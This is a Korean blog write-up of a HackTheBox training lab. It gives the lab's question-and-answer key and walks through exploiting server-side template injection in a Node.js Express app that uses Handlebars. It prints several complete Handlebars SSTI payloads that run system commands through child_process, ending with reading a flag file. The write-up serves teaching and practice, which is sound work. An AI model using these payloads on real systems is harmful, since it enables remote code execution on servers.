Task
- What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
- 22,80
- What software is running the service listening on the http/web port identified in the first question?
- Node.js
- What is the name of the Web Framework according to Wappalyzer?
- Express
- What is the name of the vulnerability we test for by submitting {{7*7}}?
- Server Side Template Injection
- What is the templating engine being used within Node.JS?
- Handlebars
- What is the name of the BurpSuite tab used to encode text?
- Decoder
- In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?
- URL
- When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?
- require
- What variable is the name of the top-level scope in Node.JS?
- global
- By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
- root
Write Up
nmap으로 포트 스캐닝해주기

http 웹에 접속해본다.

Web Framework이 Express임을 확인 가능하다.
Task를 보면, {{77}} → 템플릿을 이용한 인젝션 공격을 확인할때 주로 사용한다. (<%= 77 %>, ${77},#{77}…)

일반적으로는 이그림을 따라 입력해보며 검증을 할 수 있다.
즉, SSTI (Server Side Template Injection) 취약점과 관련된 문제임을 암시하고있음.

{{7*7}} 를 입력하면 아래와 같은 화면이 나온다.

파싱에 실패했다고 적혀있다.
/root/Backend/node_modules/handlebars/~ 내용을 보면 templating engine이 Handlebars라는 것을 알 수 있다. 해당 Handlebars SSTI 취약점은 4.0.14 이전 버전에서만 발생한다고 한다.

웹에서 직접 요청을 보내면 자동으로 인코딩된 형태로 요청이 들어가게된다.
직접 요청을 보낼때는 {{7*7}} 그대로 전달하는게 아니라, Burp Suite 내장 기능인 Decoder을 활용하여 보내야한다.
위 링크를 참고해서 문제를 풀어보자.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{#with p._compile as |c|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
이걸 넣으면 아래와 같이 require is not defined라고 나온다.

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('pwd');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

음. 이제 /root 경로에 뭐가있는지 보자.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('ls ../');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

flag.txt가 보인다. ../flag.txt 를 읽어보자자
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat ../flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

flag를 딸 수 있다.
'HackTheBox' 카테고리의 다른 글
| [Tier1] Tactics (nmap -Pn option) (0) | 2026.04.04 |
|---|---|
| [Tier1] Pennyworth (Jenkins) (0) | 2026.04.04 |
| [Tier1] Funnel (tunneling, postgresql) (0) | 2026.04.04 |
| [Tier1] Ignition (Most common passwords) (0) | 2026.04.04 |
| [Tier1] Three (wfuzz, s3, php web shell) (0) | 2026.04.04 |